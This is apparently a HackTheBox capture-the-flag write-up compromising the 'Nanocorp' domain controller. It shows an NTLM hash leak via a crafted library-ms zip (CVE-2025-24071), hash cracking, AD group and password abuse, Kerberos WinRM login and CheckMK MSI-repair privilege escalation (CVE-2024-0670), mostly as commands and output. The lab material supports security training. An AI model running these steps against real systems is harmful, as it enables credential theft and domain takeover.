<< return to writeups

HTB: Nanocorp

Introduction

Greetings! Today, we're diving into Nanocorp, a hard-difficulty Windows Active Directory box from HackTheBox.

Our journey begins with web enumeration that uncovers a hire.nanocorp.htb subdomain hosting a job application portal with a file upload feature. We exploit CVE-2025-24071 — a Windows Explorer NTLM hash leak vulnerability — by embedding a malicious library-ms file inside a zip archive. When the server processes the uploaded file, it triggers an outbound authentication attempt that we capture with Responder, giving us the NetNTLMv2 hash for web_svc. We crack it with hashcat to recover the plaintext password.

With domain credentials in hand, we run BloodHound and discover a privilege escalation chain: web_svc can add itself to IT_Support, and members of IT_Support can change the password of monitoring_svc. However, monitoring_svc is in the Protected Users group, which means we need to use Kerberos for authentication rather than NTLM. We request a TGT for monitoring_svc and log in over WinRM using winrmexec.py with the cached Kerberos ticket.

Once inside, we discover a Check MK Agent 2.1 installation. We exploit CVE-2024-0670, a privilege escalation vulnerability in CheckMK's MSI repair process that allows low-privileged users to write arbitrary files to C:\Windows\Temp which are executed by the repair process as SYSTEM. We pre-seed the temp directory with a reverse shell payload and trigger the MSI repair, landing a shell as SYSTEM and completing our takeover of the domain controller.

Without further ado, let's get into it.

Scanning

We kicked off with a full TCP port scan using nmap.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp 10.129.243.199
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-18 10:58 EDT
Nmap scan report for 10.129.243.199
Host is up (0.050s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
80/tcp    open  http              Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://nanocorp.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-03-18 22:01:29Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after:  2026-04-06T23:18:43
|_ssl-date: TLS randomness does not represent time
9389/tcp  open  mc-nmf            .NET Message Framing
49664/tcp open  msrpc             Microsoft Windows RPC
49668/tcp open  msrpc             Microsoft Windows RPC
53404/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
53409/tcp open  msrpc             Microsoft Windows RPC
53436/tcp open  msrpc             Microsoft Windows RPC
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m40s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-03-18T22:02:18
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 269.85 seconds

The profile looks familiar — a Windows Active Directory domain controller (nanocorp.htb, DC: DC01) with a web server (Apache on port 80) sitting in front. Port 5986 confirms WinRM over HTTPS, which will be useful later. The clock-skew of almost 7 hours also tells us we'll need to sync our clock before any Kerberos operations.

We also performed a quick UDP scan.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ nmap -sU -oA scan/nmap.udp 10.129.243.199
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-18 11:07 EDT
Nmap scan report for nanocorp.htb (10.129.243.199)
Host is up (0.048s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds

Enumerating SMB

Anonymous SMB listing worked but returned no shares of interest. All further SMB operations — querydispinfo, enumdomusers, RID cycling — came back with NT_STATUS_ACCESS_DENIED. We noted the domain SID (S-1-5-21-2261381271-1331810270-697239744) and moved on.

In simpler terms, SMB was a dead end without credentials.

Enumerating web

nanocorp.htb

Visiting http://nanocorp.htb presents a standard corporate landing page. Directory fuzzing with dirsearch returned nothing exploitable — mostly 403 responses for Windows reserved names and common paths.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ dirsearch -u http://nanocorp.htb/ -w /usr/share/wordlists/dirb/big.txt -f -e php,txt,html
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, html | HTTP method: GET | Threads: 25 | Wordlist size: 102219

Output File: /home/kali/Documents/htb/nanocorp/reports/http_nanocorp.htb/__26-03-18_12-57-52.txt

Target: http://nanocorp.htb/

[12:57:52] Starting: 
[12:59:25] 403 -  301B  - /aux.html                                         
[12:59:25] 403 -  301B  - /aux
[12:59:25] 403 -  301B  - /aux/                                             
[12:59:25] 403 -  301B  - /aux.php
[12:59:25] 403 -  301B  - /aux.txt                                          
[13:00:17] 403 -  301B  - /cgi-bin/                                         
[13:00:28] 403 -  301B  - /com1                                             
[13:00:28] 403 -  301B  - /com1.html                                        
[13:00:28] 403 -  301B  - /com1.txt
[13:00:28] 403 -  301B  - /com1.php
[13:00:28] 403 -  301B  - /com1/
[13:00:28] 403 -  301B  - /com2/
[13:00:28] 403 -  301B  - /com2
[13:00:28] 403 -  301B  - /com2.php
[13:00:28] 403 -  301B  - /com3
[13:00:28] 403 -  301B  - /com2.txt
[13:00:28] 403 -  301B  - /com3.php
[13:00:28] 403 -  301B  - /com2.html
[13:00:28] 403 -  301B  - /com3.txt
[13:00:28] 403 -  301B  - /com4
[13:00:28] 403 -  301B  - /com4/
[13:00:28] 403 -  301B  - /com3/
[13:00:28] 403 -  301B  - /com3.html
[13:00:28] 403 -  301B  - /com4.php
[13:00:28] 403 -  301B  - /com4.txt
[13:00:28] 403 -  301B  - /com4.html
[13:00:31] 403 -  301B  - /con/                                             
[13:00:31] 403 -  301B  - /con                                              
[13:00:31] 403 -  301B  - /con.txt                                          
[13:00:31] 403 -  301B  - /con.html
[13:00:31] 403 -  301B  - /con.php
[13:00:39] 200 -    1KB - /css/                                             
[13:00:39] 301 -  334B  - /css  ->  http://nanocorp.htb/css/                
[13:01:17] 503 -  401B  - /examples/                                        
[13:01:17] 503 -  401B  - /examples
[13:02:19] 200 -   73KB - /icons/                                           
[13:02:27] 200 -    3KB - /img/                                             
[13:02:27] 301 -  334B  - /img  ->  http://nanocorp.htb/img/                
[13:02:53] 200 -    1KB - /js/                                              
[13:02:53] 301 -  333B  - /js  ->  http://nanocorp.htb/js/                  
[13:03:07] 403 -  420B  - /licenses                                         
[13:03:07] 403 -  420B  - /licenses/
[13:03:16] 403 -  301B  - /lpt1.txt                                         
[13:03:16] 403 -  301B  - /lpt1/
[13:03:16] 403 -  301B  - /lpt1.php
[13:03:16] 403 -  301B  - /lpt1                                             
[13:03:16] 403 -  301B  - /lpt1.html
[13:03:16] 403 -  301B  - /lpt2                                             
[13:03:16] 403 -  301B  - /lpt2/                                            
[13:03:16] 403 -  301B  - /lpt2.php                                         
[13:03:16] 403 -  301B  - /lpt2.html
[13:03:16] 403 -  301B  - /lpt2.txt
[13:04:04] 403 -  301B  - /nul.php                                          
[13:04:04] 403 -  301B  - /nul/
[13:04:04] 403 -  301B  - /nul.html
[13:04:04] 403 -  301B  - /nul.txt
[13:04:04] 403 -  301B  - /nul                                              
[13:04:54] 403 -  301B  - /phpmyadmin/                                      
[13:04:54] 403 -  301B  - /phpmyadmin                                       
[13:05:22] 403 -  301B  - /prn                                              
[13:05:22] 403 -  301B  - /prn.html                                         
[13:05:22] 403 -  301B  - /prn.php                                          
[13:05:22] 403 -  301B  - /prn.txt                                          
[13:05:22] 403 -  301B  - /prn/                                             
[13:06:49] 403 -  420B  - /server-info                                      
[13:06:49] 403 -  420B  - /server-status                                    
[13:06:49] 403 -  420B  - /server-info/                                     
[13:06:49] 403 -  420B  - /server-status/
[13:09:18] 403 -  301B  - /webalizer/                                       
[13:09:18] 403 -  301B  - /webalizer                                        

Task Completed

Subdomain Enumeration

We ran wfuzz to look for virtual hosts.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nanocorp.htb" --hw 30 10.129.243.199
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.243.199/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                
=====================================================================

000009532:   400        10 L     37 W       328 Ch      "#www"                                                                                                                                                                 
000010581:   400        10 L     37 W       328 Ch      "#mail"                                                                                                                                                                

Total time: 0
Processed Requests: 19966
Filtered Requests: 19964
Requests/sec.: 0

The scan didn't reveal any subdomains through brute force, but the main site had hints pointing us to hire.nanocorp.htb. We added it to our hosts file.

hire.nanocorp.htb

This subdomain hosts a job application portal. Directory fuzzing revealed two interesting endpoints: upload.php and success.php. The site accepts job applications and, crucially, allows uploading a resume as a zip file.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp]
└─$ dirsearch -u http://hire.nanocorp.htb/ -w /usr/share/wordlists/dirb/big.txt -f -e php,txt,html
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, html | HTTP method: GET | Threads: 25 | Wordlist size: 102219

Output File: /home/kali/Documents/htb/nanocorp/reports/http_hire.nanocorp.htb/__26-03-18_13-17-54.txt

Target: http://hire.nanocorp.htb/

[13:17:54] Starting: 
[13:18:23] 301 -  347B  - /Images  ->  http://hire.nanocorp.htb/Images/     
[13:18:23] 200 -  992B  - /Images/                                          
[13:19:13] 301 -  347B  - /assets  ->  http://hire.nanocorp.htb/assets/     
[13:19:13] 200 -  984B  - /assets/
[13:19:16] 403 -  306B  - /aux.php                                          
[13:19:16] 403 -  306B  - /aux                                              
[13:19:16] 403 -  306B  - /aux.txt
[13:19:16] 403 -  306B  - /aux.html                                         
[13:19:16] 403 -  306B  - /aux/
[13:19:38] 403 -  306B  - /cgi-bin/                                         
[13:19:47] 403 -  306B  - /com1                                             
[13:19:47] 403 -  306B  - /com1/                                            
[13:19:47] 403 -  306B  - /com1.php                                         
[13:19:47] 403 -  306B  - /com1.html
[13:19:47] 403 -  306B  - /com2/
[13:19:47] 403 -  306B  - /com2
[13:19:47] 403 -  306B  - /com2.txt
[13:19:47] 403 -  306B  - /com1.txt
[13:19:47] 403 -  306B  - /com2.html
[13:19:47] 403 -  306B  - /com3/
[13:19:47] 403 -  306B  - /com3
[13:19:47] 403 -  306B  - /com3.php
[13:19:47] 403 -  306B  - /com3.txt
[13:19:47] 403 -  306B  - /com3.html
[13:19:47] 403 -  306B  - /com2.php
[13:19:47] 403 -  306B  - /com4
[13:19:47] 403 -  306B  - /com4/
[13:19:47] 403 -  306B  - /com4.php
[13:19:47] 403 -  306B  - /com4.txt
[13:19:47] 403 -  306B  - /com4.html
[13:19:49] 403 -  306B  - /con.txt                                          
[13:19:49] 403 -  306B  - /con/
[13:19:49] 403 -  306B  - /con.php
[13:19:49] 403 -  306B  - /con
[13:19:49] 403 -  306B  - /con.html
[13:20:25] 503 -  406B  - /examples                                         
[13:20:25] 503 -  406B  - /examples/
[13:21:02] 200 -   73KB - /icons/                                           
[13:21:04] 200 -  992B  - /images/                                          
[13:21:04] 301 -  347B  - /images  ->  http://hire.nanocorp.htb/images/     
[13:21:30] 403 -  425B  - /licenses/                                        
[13:21:30] 403 -  425B  - /licenses                                         
[13:21:37] 403 -  306B  - /lpt1                                             
[13:21:37] 403 -  306B  - /lpt1.php                                         
[13:21:37] 403 -  306B  - /lpt2                                             
[13:21:37] 403 -  306B  - /lpt1.html
[13:21:37] 403 -  306B  - /lpt2.html                                        
[13:21:37] 403 -  306B  - /lpt1.txt
[13:21:37] 403 -  306B  - /lpt1/
[13:21:37] 403 -  306B  - /lpt2.php
[13:21:37] 403 -  306B  - /lpt2/                                            
[13:21:37] 403 -  306B  - /lpt2.txt
[13:22:11] 403 -  306B  - /nul.php                                          
[13:22:11] 403 -  306B  - /nul/                                             
[13:22:11] 403 -  306B  - /nul.txt
[13:22:11] 403 -  306B  - /nul
[13:22:11] 403 -  306B  - /nul.html                                         
[13:22:31] 403 -  306B  - /phpmyadmin                                       
[13:22:31] 403 -  306B  - /phpmyadmin/                                      
[13:22:44] 403 -  306B  - /prn                                              
[13:22:44] 403 -  306B  - /prn.php                                          
[13:22:44] 403 -  306B  - /prn.txt                                          
[13:22:44] 403 -  306B  - /prn/                                             
[13:22:44] 403 -  306B  - /prn.html                                         
[13:23:24] 403 -  425B  - /server-info/                                     
[13:23:24] 403 -  425B  - /server-info                                      
[13:23:24] 403 -  425B  - /server-status                                    
[13:23:24] 403 -  425B  - /server-status/                                   
[13:24:12] 302 -    0B  - /success.php  ->  index.html                      
[13:24:12] 403 -  306B  - /success.html
[13:25:21] 200 -    0B  - /upload.php                                       
[13:25:22] 403 -  306B  - /uploads                                          
[13:25:22] 403 -  306B  - /uploads/                                         
[13:26:06] 403 -  306B  - /webalizer/                                       
[13:26:06] 403 -  306B  - /webalizer

We submitted a test application and confirmed the upload goes through.

POST /upload.php HTTP/1.1
Host: hire.nanocorp.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------237800354412861792952713729485
Content-Length: 781
Origin: http://hire.nanocorp.htb
Connection: keep-alive
Referer: http://hire.nanocorp.htb/index.html
Cookie: PHPSESSID=ql4184g3vcdojpb2v58bu70pmo
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="fullname"

x40
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="email"

root@x40.in
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="position"

Cybersecurity Consultant
-----------------------------237800354412861792952713729485
Content-Disposition: form-data; name="resume"; filename="resume.zip"
Content-Type: application/zip

PK
-----------------------------237800354412861792952713729485--
HTTP/1.1 302 Found
Date: Thu, 19 Mar 2026 00:33:11 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: success.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The server accepts the zip without any visible error. The key question is: what happens to it on the backend?

CVE-2025-24071

CVE-2025-24071 is a vulnerability in the Windows Shell that causes Windows Explorer to automatically parse .library-ms files embedded inside zip archives. When a specially crafted library-ms file references a UNC path to our machine, Windows initiates an SMB authentication request — leaking the NetNTLMv2 hash of the user processing the file.

We used the public PoC to generate the malicious zip: Marcejr117/CVE-2025-24071_PoC.

┌──(kali㉿kali)-[~/…/htb/nanocorp/exploits/CVE-2025-24071_PoC]
└─$ python PoC.py test 10.10.14.102


[+] File test.library-ms created successfully.

┌──(kali㉿kali)-[~/…/htb/nanocorp/exploits/CVE-2025-24071_PoC]
└─$ ls
exploit.zip  PoC.py  README.md  usecase.gif

This produced exploit.zip containing the malicious library-ms file pointing back to our machine. We started Responder on tun0 and uploaded the zip as a resume submission.

As soon as the backend processed the file, Responder caught the hash.

[SMB] NTLMv2 Hash: WEB_SVC::NANOCORP:e6f14119adaf824c:544d8a135...

We cracked it with hashcat.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp/exploits]
└─$ hashcat hashes.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) Ultra 7 165U, 2898/5861 MB (1024 MB allocatable), 2MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

WEB_SVC::NANOCORP:e6f14119adaf824c:544d8a135fd0d058c33a3a7897f8e99d:010100000000000080bf8975e5b6dc0198ab968fc5b23a090000000002000800490052004200450001001e00570049004e002d003300430031004f00390048005000500035003700320004003400570049004e002d003300430031004f0039004800500050003500370032002e0049005200420045002e004c004f00430041004c000300140049005200420045002e004c004f00430041004c000500140049005200420045002e004c004f00430041004c000700080080bf8975e5b6dc01060004000200000008003000300000000000000000000000002000005ecbccb00a538ef5e23ec4441b929bf6912be5e6be789498dbb3c12f0156df7b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100300032000000000000000000:dksehdgh712!@#

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: WEB_SVC::NANOCORP:e6f14119adaf824c:544d8a135fd0d058...000000
Time.Started.....: Wed Mar 18 15:05:11 2026 (2 secs)
Time.Estimated...: Wed Mar 18 15:05:13 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1288.1 kH/s (0.62ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1855488/14344385 (12.94%)
Rejected.........: 0/1855488 (0.00%)
Restore.Point....: 1854464/14344385 (12.93%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: dlh622 -> djd0415
Hardware.Mon.#1..: Util: 91%

Started: Wed Mar 18 15:05:07 2026
Stopped: Wed Mar 18 15:05:15 2026

We now had credentials: web_svc / dksehdgh712!@#.

The HOUND

With valid domain credentials, we used BloodHound to map out the AD environment.

┌──(kali㉿kali)-[~/Documents/htb/nanocorp/hound]
└─$ bloodhound-python -c All -u web_svc -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: nanocorp.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.nanocorp.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.nanocorp.htb
INFO: Found 6 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.nanocorp.htb
INFO: Done in 00M 09S

Reviewing the results in BloodHound revealed a clean privilege escalation chain:

There was a catch though. Checking the group membership of Protected Users:

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ nxc ldap nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --groups "Protected Users"
[*] Initializing LDAP protocol database
LDAP        10.129.243.199  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.243.199  389    DC01             [+] nanocorp.htb\web_svc:dksehdgh712!@# 
LDAP        10.129.243.199  389    DC01             monitoring_svc

monitoring_svc is in the Protected Users group. This means NTLM authentication is disabled for this account — we can only authenticate using Kerberos. Changing their password and trying to log in over NTLM would fail silently. We had to plan accordingly.

Following the chain

1: Add web_svc to IT_Support

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ bloodyAD --host "10.129.243.199" -d "nanocorp.htb" -u "web_svc" -p 'dksehdgh712!@#' add groupMember "it_support" "web_svc"
[+] web_svc added to it_support

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ net rpc group members "IT_Support" -U nanocorp.htb/web_svc%'dksehdgh712!@#' -S 10.129.243.199                             
NANOCORP\web_svc

2: Change monitoring_svc's password

Since we needed Kerberos, we first set up a proper krb5.conf and exported it.

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ ./venv/bin/nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --generate-krb5-file nanocorp.krb5.conf
SMB         10.129.243.199  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.243.199  445    DC01             [+] krb5 conf saved to: nanocorp.krb5.conf
SMB         10.129.243.199  445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=nanocorp.krb5.conf
SMB         10.129.243.199  445    DC01             [+] nanocorp.htb\web_svc:dksehdgh712!@# 
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ cat nanocorp.krb5.conf   
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
        default_domain = nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB                                                                                                                                                                                                                                        
┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ export KRB5_CONFIG=$PWD/nanocorp.krb5.conf

Then we changed the password for monitoring_svc.

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ bloodyAD -d nanocorp.htb --host dc01.nanocorp.htb -u web_svc -p 'dksehdgh712!@#' set password 'monitoring_svc' 'P@ssword123!'
[+] Password changed successfully!

3: Get a TGT and log in via WinRM

We requested a Kerberos TGT for monitoring_svc.

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ getTGT.py nanocorp.htb/monitoring_svc:'P@ssword123!'           
Impacket v0.14.0.dev0+20260313.154148.084aff60 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in monitoring_svc.ccache

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ export KRB5CCNAME=monitoring_svc.ccache

With the ticket exported, we used winrmexec.py with Kerberos authentication over HTTPS.

┌──(venv)─(kali㉿kali)-[~/Documents/nxc]
└─$ python winrmexec.py dc01.nanocorp.htb -ssl -k -p 5986 -no-pass         
Impacket v0.14.0.dev0+20260313.154148.084aff60 - Copyright Fortra, LLC and its affiliated companies 

[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] '-spn' not specified, using HTTP/dc01.nanocorp.htb@NANOCORP.HTB
[*] '-dc-ip' not specified, using NANOCORP.HTB
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents>

We now had a shell as monitoring_svc on the domain controller.

Privilege escalation to SYSTEM

Discovering Check MK Agent

Looking through C:\Program Files (x86), we spotted a checkmk directory.

PS C:\Users\monitoring_svc\Documents> dir "C:\Program Files (x86)"


    Directory: C:\Program Files (x86)


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----          4/5/2025   4:17 PM                checkmk                                                               
d-----          5/8/2021   1:34 AM                Common Files                                                          
d-----         11/3/2025   4:13 PM                Internet Explorer                                                     
d-----          5/8/2021   2:40 AM                Microsoft                                                             
d-----          5/8/2021   1:34 AM                Microsoft.NET                                                         
d-----          5/8/2021   2:35 AM                Windows Defender                                                      
d-----         11/3/2025   4:13 PM                Windows Mail                                                          
d-----         11/3/2025   4:13 PM                Windows Media Player                                                  
d-----          5/8/2021   2:35 AM                Windows NT                                                            
d-----         11/3/2025   4:13 PM                Windows Photo Viewer                                                  
d-----          5/8/2021   1:34 AM                WindowsPowerShell

Cross-referencing with the installed programs in the registry confirmed Check MK Agent 2.1 (version 2.1.0.50010) was installed, originally from C:\Users\web_svc\Desktop\.

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
    AuthorizedCDFPrefix    REG_SZ    
    Comments    REG_SZ    
    Contact    REG_SZ    
    DisplayVersion    REG_SZ    2.1.0.50010
    HelpLink    REG_EXPAND_SZ    https://checkmk.com
    HelpTelephone    REG_SZ    
    InstallDate    REG_SZ    20250405
    InstallLocation    REG_SZ    
    InstallSource    REG_SZ    C:\Users\web_svc\Desktop\
    ModifyPath    REG_EXPAND_SZ    MsiExec.exe /X{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
    NoModify    REG_DWORD    0x1
    Publisher    REG_SZ    tribe29 GmbH
    Readme    REG_SZ    
    Size    REG_SZ    
    EstimatedSize    REG_DWORD    0x4eaf9
    UninstallString    REG_EXPAND_SZ    MsiExec.exe /X{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
    URLInfoAbout    REG_SZ    https://checkmk.com
    URLUpdateInfo    REG_SZ    
    VersionMajor    REG_DWORD    0x2
    VersionMinor    REG_DWORD    0x1
    WindowsInstaller    REG_DWORD    0x1
    Version    REG_DWORD    0x2010000
    Language    REG_DWORD    0x409
    DisplayName    REG_SZ    Check MK Agent 2.1

CVE-2024-0670 — CheckMK MSI Repair Temp File Hijack

CVE-2024-0670 is a privilege escalation vulnerability in the Check MK Agent MSI installer. When the MSI repair process runs (msiexec /f or msiexec /fa), it writes temporary .cmd files to C:\Windows\Temp with predictable names in the format cmk_all_<PID>_<CTR>.cmd. These files are then executed with SYSTEM privileges as part of the repair workflow.

Since low-privileged users can write to C:\Windows\Temp, we can pre-seed all possible filenames with our own payload before the repair runs. When the MSI picks up one of our pre-seeded files, it executes our code as SYSTEM.

We confirmed this works by first triggering a repair manually to observe the temp file naming pattern.

PS C:\Users\monitoring_svc\Documents> .\runas.exe web_svc 'dksehdgh712!@#' "cmd /c dir C:\Windows\Temp"

 Volume in drive C has no label.
 Volume Serial Number is 2EB6-7759

 Directory of C:\Windows\Temp

03/18/2026  10:53 PM    <DIR>          .
11/03/2025  05:18 PM    <DIR>          ..
03/18/2026  10:48 PM                 6 abc
03/18/2026  02:58 PM                53 af397ef28e484961ba48646a5d38cf54.db.ses
03/18/2026  02:58 PM                 0 mat-debug-5680.log
03/18/2026  03:30 PM            38,730 MpCmdRun.log
03/18/2026  02:57 PM               102 silconfig.log
11/03/2025  06:05 PM    <DIR>          vmware-SYSTEM
11/12/2025  11:24 AM           197,285 vmware-vmsvc-SYSTEM.log
11/04/2025  04:18 PM            16,602 vmware-vmtoolsd-Administrator.log
03/18/2026  02:56 PM            21,488 vmware-vmtoolsd-SYSTEM.log
03/18/2026  02:59 PM             5,381 vmware-vmtoolsd-web_svc.log
11/04/2025  04:20 PM            66,145 vmware-vmusr-Administrator.log
03/18/2026  02:59 PM             6,579 vmware-vmusr-web_svc.log
03/18/2026  02:56 PM            20,613 vmware-vmvss-SYSTEM.log
              12 File(s)        372,984 bytes
               3 Dir(s)   8,067,469,312 bytes free
PS C:\Users\monitoring_svc\Documents>
